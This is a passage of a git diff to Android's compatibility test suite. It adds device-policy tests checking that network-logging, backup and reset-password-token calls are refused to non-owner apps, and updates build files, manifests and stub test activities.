+        mReceiver.onReceive(mContext, new Intent(ACTION_SECURITY_LOGS_AVAILABLE));
+        verify(mReceiver).onSecurityLogsAvailable(any(), actionEq(ACTION_SECURITY_LOGS_AVAILABLE));
+    }
 
-        boolean hasFlags(int flags) {
-            return mFlags == flags;
+    @Presubmit
+    public void testOnReceiveNetworkLogsAvailable() {
+        if (!mDeviceAdmin) {
+            Log.w(TAG, "Skipping testOnReceiveNetworkLogsAvailable");
+            return;
         }
+        Intent networkLogsAvailableIntent = new Intent(ACTION_NETWORK_LOGS_AVAILABLE);
+        networkLogsAvailableIntent.putExtra(EXTRA_NETWORK_LOGS_TOKEN, NETWORK_LOGS_TOKEN);
+        networkLogsAvailableIntent.putExtra(EXTRA_NETWORK_LOGS_COUNT, NETWORK_LOGS_COUNT);
+        mReceiver.onReceive(mContext, networkLogsAvailableIntent);
+        verify(mReceiver).onNetworkLogsAvailable(any(), actionEq(ACTION_NETWORK_LOGS_AVAILABLE),
+                eq(NETWORK_LOGS_TOKEN), eq(NETWORK_LOGS_COUNT));
+    }
 
-        int getBugreportFailureCode() {
-            return bugreportFailureCode;
-        }
-
-        String getBugreportHash() {
-            return bugreportHash;
-        }
-
-        @Override
-        public void onPasswordChanged(Context context, Intent intent) {
-            super.onPasswordChanged(context, intent);
-            mFlags |= PASSWORD_CHANGED;
-        }
-
-        @Override
-        public void onPasswordFailed(Context context, Intent intent) {
-            super.onPasswordFailed(context, intent);
-            mFlags |= PASSWORD_FAILED;
-        }
-
-        @Override
-        public void onPasswordSucceeded(Context context, Intent intent) {
-            super.onPasswordSucceeded(context, intent);
-            mFlags |= PASSWORD_SUCCEEDED;
-        }
-
-        @Override
-        public void onEnabled(Context context, Intent intent) {
-            super.onEnabled(context, intent);
-            mFlags |= DEVICE_ADMIN_ENABLED;
-        }
-
-        @Override
-        public CharSequence onDisableRequested(Context context, Intent intent) {
-            mFlags |= DEVICE_ADMIN_DISABLE_REQUESTED;
-            return DISABLE_WARNING;
-        }
-
-        @Override
-        public void onDisabled(Context context, Intent intent) {
-            super.onDisabled(context, intent);
-            mFlags |= DEVICE_ADMIN_DISABLED;
-        }
-
-        @Override
-        public void onBugreportSharingDeclined(Context context, Intent intent) {
-            super.onBugreportSharingDeclined(context, intent);
-            mFlags |= BUGREPORT_SHARING_DECLINED;
-        }
-
-        @Override
-        public void onBugreportFailed(Context context, Intent intent, int failureCode) {
-            super.onBugreportFailed(context, intent, failureCode);
-            mFlags |= BUGREPORT_FAILED;
-            bugreportFailureCode = failureCode;
-        }
-
-        @Override
-        public void onBugreportShared(Context context, Intent intent, String bugreportHash) {
-            super.onBugreportShared(context, intent, bugreportHash);
-            mFlags |= BUGREPORT_SHARED;
-            this.bugreportHash = bugreportHash;
-        }
-
-        @Override
-        public void onSecurityLogsAvailable(Context context, Intent intent) {
-            super.onSecurityLogsAvailable(context, intent);
-            mFlags |= SECURITY_LOGS_AVAILABLE;
-        }
+    // TODO: replace with inline argThat(x → e.equals(x.getAction())) when mockito is updated.
+    private Intent actionEq(final String expected) {
+        return argThat(new ArgumentMatcher<Intent>() {
+            @Override
+            public boolean matchesObject(Object argument) {
+                return expected.equals(((Intent) argument).getAction());
+            }
+        });
     }
 }
diff --git a/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java b/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java
index deb1854..4b9e5fa 100644
--- a/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java
+++ b/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java
@@ -174,6 +174,44 @@
         }
     }
 
+    public void testSetNetworkLoggingEnabled_failIfNotDeviceOwner() {
+        if (!mDeviceAdmin) {
+            Log.w(TAG, "Skipping testSetNetworkLoggingEnabled_failIfNotDeviceOwner");
+            return;
+        }
+        try {
+            mDevicePolicyManager.setNetworkLoggingEnabled(mComponent, true);
+            fail("did not throw expected SecurityException");
+        } catch (SecurityException e) {
+            assertDeviceOwnerMessage(e.getMessage());
+        }
+    }
+
+    public void testIsNetworkLoggingEnabled_failIfNotDeviceOwner() {
+        if (!mDeviceAdmin) {
+            Log.w(TAG, "Skipping testIsNetworkLoggingEnabled_failIfNotDeviceOwner");
+            return;
+        }
+        try {
+            mDevicePolicyManager.isNetworkLoggingEnabled(mComponent);
+            fail("did not throw expected SecurityException");
+        } catch (SecurityException e) {
+            assertDeviceOwnerOrManageUsersMessage(e.getMessage());
+        }
+    }
+
+    public void testRetrieveNetworkLogs_failIfNotDeviceOwner() {
+        if (!mDeviceAdmin) {
+            Log.w(TAG, "Skipping testRetrieveNetworkLogs_failIfNotDeviceOwner");
+            return;
+        }
+        try {
+            mDevicePolicyManager.retrieveNetworkLogs(mComponent, /* batchToken */ 0);
+            fail("did not throw expected SecurityException");
+        } catch (SecurityException e) {
+            assertDeviceOwnerMessage(e.getMessage());
+        }
+    }
     public void testRemoveUser_failIfNotDeviceOwner() {
         if (!mDeviceAdmin) {
             Log.w(TAG, "Skipping testRemoveUser_failIfNotDeviceOwner");
@@ -234,13 +272,28 @@
         }
         try {
             mDevicePolicyManager.setSecureSetting(mComponent,
-                    Settings.Secure.INSTALL_NON_MARKET_APPS, "1");
+                    Settings.Secure.SKIP_FIRST_USE_HINTS, "1");
             fail("did not throw expected SecurityException");
         } catch (SecurityException e) {
             assertProfileOwnerMessage(e.getMessage());
         }
     }
 
+    public void testSetSecureSetting_failForInstallNonMarketApps() {
+        if (!mDeviceAdmin) {
+            Log.w(TAG, "Skipping testSetSecureSetting_failForInstallNonMarketApps");
+            return;
+        }
+        ComponentName profileOwner = DeviceAdminInfoTest.getProfileOwnerComponent();
+        try {
+            mDevicePolicyManager.setSecureSetting(profileOwner,
+                    Settings.Secure.INSTALL_NON_MARKET_APPS, "0");
+            fail("did not throw UnsupportedOperationException");
+        } catch (UnsupportedOperationException exc) {
+            // Supposed to throw. Pass.
+        }
+    }
+
     public void testSetMasterVolumeMuted_failIfNotDeviceOrProfileOwner() {
         if (!mDeviceAdmin) {
             Log.w(TAG, "Skipping testSetMasterVolumeMuted_failIfNotDeviceOrProfileOwner");
@@ -480,16 +533,16 @@
         }
     }
 
-    public void testSetAutoTimeRequired_failIfNotDeviceOwner() {
+    public void testSetAutoTimeRequired_failIfNotDeviceOrProfileOwner() {
         if (!mDeviceAdmin) {
-            Log.w(TAG, "Skipping testSetAutoTimeRequired_failIfNotDeviceOwner");
+            Log.w(TAG, "Skipping testSetAutoTimeRequired_failIfNotDeviceOrProfileOwner");
             return;
         }
         try {
             mDevicePolicyManager.setAutoTimeRequired(mComponent, true);
             fail("did not throw expected SecurityException");
         } catch (SecurityException e) {
-            assertDeviceOwnerMessage(e.getMessage());
+            assertProfileOwnerMessage(e.getMessage());
         }
     }
 
@@ -685,6 +738,13 @@
                 || message.contains("can only be called by the device owner"));
     }
 
+    private void assertDeviceOwnerOrManageUsersMessage(String message) {
+        assertTrue("message is: "+ message, message.contains("does not own the device")
+                || message.contains("can only be called by the device owner")
+                || (message.startsWith("Neither user ") && message.endsWith(
+                        " nor current process has android.permission.MANAGE_USERS.")));
+    }
+
     private void assertProfileOwnerMessage(String message) {
         assertTrue("message is: "+ message,
                 message.contains("does not own the profile"));
@@ -752,4 +812,93 @@
         }
     }
 
+    public void testSetBackupServiceEnabled_failIfNotDeviceOwner() {
+        if (!mDeviceAdmin) {
+            Log.w(TAG, "Skipping testSetBackupServiceEnabled");
+            return;
+        }
+        try {
+            mDevicePolicyManager.setBackupServiceEnabled(mComponent, false);
+            fail("did not throw expected SecurityException");
+        } catch (SecurityException e) {
+            assertDeviceOwnerMessage(e.getMessage());
+        }
+    }
+
+    public void testIsBackupServiceEnabled_failIfNotDeviceOwner() {
+        if (!mDeviceAdmin) {
+            Log.w(TAG, "Skipping testIsBackupServiceEnabled");
+            return;
+        }
+        try {
+            mDevicePolicyManager.isBackupServiceEnabled(mComponent);
+            fail("did not throw expected SecurityException");
+        } catch (SecurityException e) {
+            assertDeviceOwnerMessage(e.getMessage());
+        }
+    }
+
+    public void testCreateAdminSupportIntent_returnNullIfRestrictionIsNotSet() {
+        if (!mDeviceAdmin) {
+            Log.w(TAG, "Skipping testCreateAdminSupportIntent");
+            return;
+        }
+        Intent intent = mDevicePolicyManager.createAdminSupportIntent(
+                DevicePolicyManager.POLICY_DISABLE_CAMERA);
+        assertNull(intent);
+        intent = mDevicePolicyManager.createAdminSupportIntent(UserManager.DISALLOW_ADJUST_VOLUME);
+        assertNull(intent);
+    }
+
+    public void testSetResetPasswordToken_failIfNotDeviceOrProfileOwner() {
+        if (!mDeviceAdmin) {
+            Log.w(TAG, "Skipping testSetResetPasswordToken_failIfNotDeviceOwner");
+            return;
+        }
+        try {
+            mDevicePolicyManager.setResetPasswordToken(mComponent, new byte[32]);
+            fail("did not throw expected SecurityException");
+        } catch (SecurityException e) {
+            assertProfileOwnerMessage(e.getMessage());
+        }
+    }
+
+    public void testClearResetPasswordToken_failIfNotDeviceOrProfileOwner() {
+        if (!mDeviceAdmin) {
+            Log.w(TAG, "Skipping testClearResetPasswordToken_failIfNotDeviceOwner");
+            return;
+        }
+        try {
+            mDevicePolicyManager.clearResetPasswordToken(mComponent);
+            fail("did not throw expected SecurityException");
+        } catch (SecurityException e) {
+            assertProfileOwnerMessage(e.getMessage());
+        }
+    }
+
+    public void testIsResetPasswordTokenActive_failIfNotDeviceOrProfileOwner() {
+        if (!mDeviceAdmin) {
+            Log.w(TAG, "Skipping testIsResetPasswordTokenActive_failIfNotDeviceOwner");
+            return;
+        }
+        try {
+            mDevicePolicyManager.isResetPasswordTokenActive(mComponent);
+            fail("did not throw expected SecurityException");
+        } catch (SecurityException e) {
+            assertProfileOwnerMessage(e.getMessage());
+        }
+    }
+
+    public void testResetPasswordWithToken_failIfNotDeviceOrProfileOwner() {
+        if (!mDeviceAdmin) {
+            Log.w(TAG, "Skipping testResetPasswordWithToken_failIfNotDeviceOwner");
+            return;
+        }
+        try {
+            mDevicePolicyManager.resetPasswordWithToken(mComponent, "1234", new byte[32], 0);
+            fail("did not throw expected SecurityException");
+        } catch (SecurityException e) {
+            assertProfileOwnerMessage(e.getMessage());
+        }
+    }
 }
diff --git a/tests/app/Android.mk b/tests/app/Android.mk
index d62ee46..bb1dc10 100644
--- a/tests/app/Android.mk
+++ b/tests/app/Android.mk
@@ -23,9 +23,18 @@
 
 LOCAL_JAVA_LIBRARIES := android.test.runner telephony-common voip-common org.apache.http.legacy
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctsdeviceutil ctstestrunner ctstestserver mockito-target
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    compatibility-device-util \
+    ctstestrunner \
+    ctstestserver \
+    mockito-target-minus-junit4 \
+    android-support-test \
+    platform-test-annotations
 
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
+LOCAL_SRC_FILES := \
+    $(call all-java-files-under, src) \
+    $(call all-java-files-under, app2/src) \
+    $(call all-java-files-under, appSdk25/src) \
 
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts
diff --git a/tests/app/AndroidManifest.xml b/tests/app/AndroidManifest.xml
index 0a7216d..7986842 100644
--- a/tests/app/AndroidManifest.xml
+++ b/tests/app/AndroidManifest.xml
@@ -27,11 +27,29 @@
     </application>
 
     <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.app.stubs"
-                     android:label="CTS tests of android.app">
+            android:targetPackage="android.app.stubs"
+            android:label="CTS tests of android.app">
         <meta-data android:name="listener"
             android:value="com.android.cts.runner.CtsTestRunListener" />
     </instrumentation>
 
-</manifest>
+    <instrumentation android:name=".DefaultProcessInstrumentation"
+            android:targetPackage="com.android.cts.launcherapps.simpleapp">
+    </instrumentation>
 
+    <instrumentation android:name=".AltProcessInstrumentation"
+            android:targetPackage="com.android.cts.launcherapps.simpleapp"
+            android:targetProcesses="com.android.cts.launcherapps.simpleapp:other">
+    </instrumentation>
+
+    <instrumentation android:name=".WildcardProcessInstrumentation"
+                     android:targetPackage="com.android.cts.launcherapps.simpleapp"
+                     android:targetProcesses="*">
+    </instrumentation>
+
+    <instrumentation android:name=".MultiProcessInstrumentation"
+                     android:targetPackage="com.android.cts.launcherapps.simpleapp"
+                     android:targetProcesses="com.android.cts.launcherapps.simpleapp:other,com.android.cts.launcherapps.simpleapp">
+    </instrumentation>
+
+</manifest>
diff --git a/tests/app/AndroidTest.xml b/tests/app/AndroidTest.xml
index 6487bd7..eb515b2 100644
--- a/tests/app/AndroidTest.xml
+++ b/tests/app/AndroidTest.xml
@@ -14,12 +14,15 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS App test cases">
+    <option name="config-descriptor:metadata" key="component" value="framework" />
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.LocationCheck" />
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsSimpleApp.apk" />
         <option name="test-file-name" value="CtsAppTestStubs.apk" />
+        <option name="test-file-name" value="CtsAppTestStubsDifferentUid.apk" />
         <option name="test-file-name" value="CtsAppTestCases.apk" />
+        <option name="test-file-name" value="CtsAppTestSdk25.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.app.cts" />
diff --git a/tests/app/app/Android.mk b/tests/app/app/Android.mk
index d28881e..3c0a0c5 100644
--- a/tests/app/app/Android.mk
+++ b/tests/app/app/Android.mk
@@ -26,10 +26,11 @@
 LOCAL_JAVA_LIBRARIES := android.test.runner telephony-common voip-common org.apache.http.legacy
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctsdeviceutil \
+    compatibility-device-util \
     ctstestrunner \
     ctstestserver \
-    mockito-target \
+    mockito-target-minus-junit4 \
+    android-support-v4 \
     legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src) \
diff --git a/tests/app/app/AndroidManifest.xml b/tests/app/app/AndroidManifest.xml
index c9ba25f..7d5da99 100644
--- a/tests/app/app/AndroidManifest.xml
+++ b/tests/app/app/AndroidManifest.xml
@@ -41,6 +41,7 @@
     <uses-permission android:name="android.permission.SET_WALLPAPER_HINTS" />
     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.BODY_SENSORS" />
+    <uses-permission android:name="android.permission.PACKAGE_USAGE_STATS" />
 
     <application android:label="Android TestCase"
                 android:icon="@drawable/size_48x48"
@@ -78,8 +79,14 @@
                 <category android:name="android.intent.category.DEFAULT" />
                 <data android:mimeType="vnd.android.cursor.dir/person" />
             </intent-filter>
+            <intent-filter>
+                <action android:name="android.app.stubs.activity.INSTRUMENTATION_TEST"/>
+            </intent-filter>
         </activity>
 
+        <activity android:name="android.app.stubs.ActivityMonitorTestActivity"
+                  android:label="ActivityMonitorTestActivity" />
+
         <activity android:name="android.app.stubs.AliasActivityStub">
             <meta-data android:name="android.app.alias"
                 android:resource="@xml/alias" />
@@ -187,7 +194,7 @@
             </intent-filter>
         </activity>
 
-        <activity android:name="android.app.stubs.ChildTabActivity" android:label="ChildTabActivity" />
+        <activity android:name="android.app.stubs.FragmentResultActivity" android:label="FragmentResultActivity" />
 
         <activity android:name="android.app.stubs.LauncherActivityStub"
                   android:label="LauncherActivityStub" >
@@ -296,17 +303,6 @@
             </intent-filter>
         </activity>
 
-        <activity android:name="android.app.stubs.PipNotResizeableActivity"
-                  android:label="PipNotResizeableActivity"
-                  android:resizeableActivity="false"
-                  android:supportsPictureInPicture="true"
-                  android:configChanges="smallestScreenSize|orientation|screenSize|screenLayout">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
-            </intent-filter>
-        </activity>
-
         <activity android:name="android.app.stubs.PipNotSupportedActivity"
                   android:label="PipNotSupportedActivity"
                   android:resizeableActivity="true"
@@ -320,6 +316,44 @@
 
         <activity android:name="android.app.stubs.KeyboardShortcutsActivity" />
 
+        <activity android:name="android.app.stubs.NewDocumentTestActivity"
+                  android:documentLaunchMode="intoExisting" />
+
+        <activity android:name="android.app.stubs.DisplayTestActivity"
+            android:configChanges="smallestScreenSize|orientation|screenSize|screenLayout" />
+
+        <activity android:name="android.app.stubs.ToolbarActivity"
+                  android:theme="@android:style/Theme.Material.Light.NoActionBar" />
+
+        <activity android:name="android.app.stubs.MaxAspectRatioActivity"
+                  android:label="MaxAspectRatioActivity"
+                  android:resizeableActivity="false"
+                  android:maxAspectRatio="1.0">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+            </intent-filter>
+        </activity>
+
+        <activity android:name="android.app.stubs.MaxAspectRatioResizeableActivity"
+                  android:label="MaxAspectRatioResizeableActivity"
+                  android:resizeableActivity="true"
+                  android:maxAspectRatio="1.0">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+            </intent-filter>
+        </activity>
+
+        <activity android:name="android.app.stubs.MaxAspectRatioUnsetActivity"
+                  android:label="MaxAspectRatioUnsetActivity"
+                  android:resizeableActivity="false">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+            </intent-filter>
+        </activity>
+
         <service
             android:name="android.app.stubs.LiveWallpaper"
             android:icon="@drawable/robot"
diff --git a/tests/app/app/res/layout/fragment_a.xml b/tests/app/app/res/layout/fragment_a.xml
deleted file mode 100644
index 38e0423..0000000
--- a/tests/app/app/res/layout/fragment_a.xml
+++ /dev/null
@@ -1,25 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2016 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-         http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
-              android:layout_width="match_parent"
-              android:layout_height="match_parent"
-              android:orientation="vertical">
-    <TextView android:layout_width="wrap_content"
-              android:layout_height="wrap_content"
-              android:id="@+id/textA"
-              android:text="@string/hello"/>
-</LinearLayout>
diff --git a/tests/app/app/res/layout/fragment_b.xml b/tests/app/app/res/layout/fragment_b.xml
deleted file mode 100644
index d8ed961..0000000
--- a/tests/app/app/res/layout/fragment_b.xml
+++ /dev/null
@@ -1,25 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2016 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-         http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
-              android:layout_width="match_parent"
-              android:layout_height="match_parent"
-              android:orientation="vertical">
-    <TextView android:layout_width="wrap_content"
-              android:layout_height="wrap_content"
-              android:id="@+id/textB"
-              android:text="@string/hello"/>
-</LinearLayout>
diff --git a/tests/app/app/res/layout/fragment_c.xml b/tests/app/app/res/layout/fragment_c.xml
deleted file mode 100644
index ed3c753..0000000
--- a/tests/app/app/res/layout/fragment_c.xml
+++ /dev/null
@@ -1,25 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2016 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-         http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
-              android:layout_width="match_parent"
-              android:layout_height="match_parent"
-              android:orientation="vertical">
-    <TextView android:layout_width="wrap_content"
-              android:layout_height="wrap_content"
-              android:id="@+id/textC"
-              android:text="@string/hello"/>
-</LinearLayout>
diff --git a/tests/app/app/res/layout/fragment_end.xml b/tests/app/app/res/layout/fragment_end.xml
deleted file mode 100644
index aa3d9e8..0000000
--- a/tests/app/app/res/layout/fragment_end.xml
+++ /dev/null
@@ -1,34 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2015 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-         http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
-              android:layout_width="match_parent"
-              android:layout_height="match_parent"
-              android:orientation="vertical">
-    <TextView android:layout_width="wrap_content"
-              android:layout_height="wrap_content"
-              android:transitionName="destination"
-              android:id="@+id/hello"
-              android:text="@string/hello"/>
-    <View android:layout_width="10dp"
-          android:layout_height="10dp"
-          android:background="#0F0"
-          android:id="@+id/greenSquare"/>
-    <View android:layout_width="10dp"
-          android:layout_height="10dp"
-          android:background="#F00"
-          android:id="@+id/redSquare"/>
-</LinearLayout>
diff --git a/tests/app/app/res/layout/toolbar_activity.xml b/tests/app/app/res/layout/toolbar_activity.xml
new file mode 100644
index 0000000..cf1f117
--- /dev/null
+++ b/tests/app/app/res/layout/toolbar_activity.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+              android:layout_width="match_parent"
+              android:layout_height="match_parent"
+              android:orientation="vertical">
+
+<Toolbar android:id="@+id/toolbar"
+         android:layout_width="match_parent"
+         android:layout_height="?android:attr/actionBarSize" />
+
+</LinearLayout>
+
diff --git a/tests/app/app/res/menu/flat_menu.xml b/tests/app/app/res/menu/flat_menu.xml
new file mode 100644
index 0000000..a71ff57
--- /dev/null
+++ b/tests/app/app/res/menu/flat_menu.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<menu xmlns:android="http://schemas.android.com/apk/res/android">
+    <item android:id="@+id/item_1"
+          android:title="@string/relative_view1"/>
+    <item android:id="@+id/item_2"
+          android:title="@string/relative_view2"/>
+</menu>
\ No newline at end of file
diff --git a/tests/app/app/src/android/app/stubs/ActionBarActivity.java b/tests/app/app/src/android/app/stubs/ActionBarActivity.java
index ec27b1b..5e15407 100644
--- a/tests/app/app/src/android/app/stubs/ActionBarActivity.java
+++ b/tests/app/app/src/android/app/stubs/ActionBarActivity.java
@@ -18,6 +18,7 @@
 import android.app.ActionBar;
 import android.app.Activity;
 import android.os.Bundle;
+import android.view.Menu;
 
 public class ActionBarActivity extends Activity {
 
@@ -29,4 +30,10 @@
             bar.setNavigationMode(ActionBar.NAVIGATION_MODE_TABS);
         }
     }
+
+    @Override
+    public boolean onCreateOptionsMenu(Menu menu) {
+        getMenuInflater().inflate(R.menu.flat_menu, menu);
+        return true;
+    }
 }
diff --git a/tests/app/app/src/android/app/stubs/ActivityMonitorTestActivity.java b/tests/app/app/src/android/app/stubs/ActivityMonitorTestActivity.java
new file mode 100644
index 0000000..a850b16
--- /dev/null
+++ b/tests/app/app/src/android/app/stubs/ActivityMonitorTestActivity.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.stubs;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+import android.view.WindowManager;
+
+public class ActivityMonitorTestActivity extends Activity {
+    private OnActivityResultListener mListener;
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        getWindow().addFlags(WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD
+                | WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON
+                | WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
+    }
+
+    @Override
+    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
+        if (mListener != null) {
+            mListener.onActivityResult(requestCode, resultCode, data);
+        }
+    }
+
+    public void startInstrumentationTestActivity(boolean startExplicit) {
+        Intent intent;
+        if (startExplicit) {
+            intent = new Intent(this, InstrumentationTestActivity.class);
+        } else {
+            intent = new Intent(InstrumentationTestActivity.START_INTENT);
+        }
+        startActivityForResult(intent, 42);
+    }
+
+    public void setOnActivityResultListener(OnActivityResultListener listener) {
+        mListener = listener;
+    }
+
+    public interface OnActivityResultListener {
+        void onActivityResult(int requestCode, int resultCode, Intent data);
+    }
+}
\ No newline at end of file
diff --git a/tests/app/app/src/android/app/stubs/CTSActivityTestCaseBase.java b/tests/app/app/src/android/app/stubs/CTSActivityTestCaseBase.java
index 44ff6b2..7e8d764 100644
--- a/tests/app/app/src/android/app/stubs/CTSActivityTestCaseBase.java
+++ b/tests/app/app/src/android/app/stubs/CTSActivityTestCaseBase.java
@@ -16,9 +16,10 @@
 
 package android.app.stubs;
 
-import android.cts.util.CTSResult;
 import android.test.InstrumentationTestCase;
 
+import com.android.compatibility.common.util.CTSResult;
+
 public class CTSActivityTestCaseBase extends InstrumentationTestCase implements CTSResult {
 
     private Sync mSync;
diff --git a/tests/app/app/src/android/app/stubs/ChildTabActivity.java b/tests/app/app/src/android/app/stubs/ChildTabActivity.java
deleted file mode 100644
index 1f0fb37..0000000
--- a/tests/app/app/src/android/app/stubs/ChildTabActivity.java
+++ /dev/null
@@ -1,25 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.app.stubs;
-
-import android.app.Activity;
-
-/**
- * An empty activity for the TabActivity test
- */
-public class ChildTabActivity extends Activity {
-}
diff --git a/tests/app/app/src/android/app/stubs/DisplayTestActivity.java b/tests/app/app/src/android/app/stubs/DisplayTestActivity.java
new file mode 100644
index 0000000..b5233da
--- /dev/null
+++ b/tests/app/app/src/android/app/stubs/DisplayTestActivity.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.app.stubs;
+
+import android.annotation.Nullable;
+import android.app.Activity;
+import android.content.res.Configuration;
+import android.os.Bundle;
+import android.view.Display;
+import android.view.WindowManager;
+
+/**
+ * An {@link Activity} that exposes the underlying {@link Display} details.
+ */
+public class DisplayTestActivity extends Activity {
+
+    @Override
+    protected void onCreate(@Nullable Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+    }
+
+    public Display getDisplay() {
+        return getSystemService(WindowManager.class).getDefaultDisplay();
+    }
+}
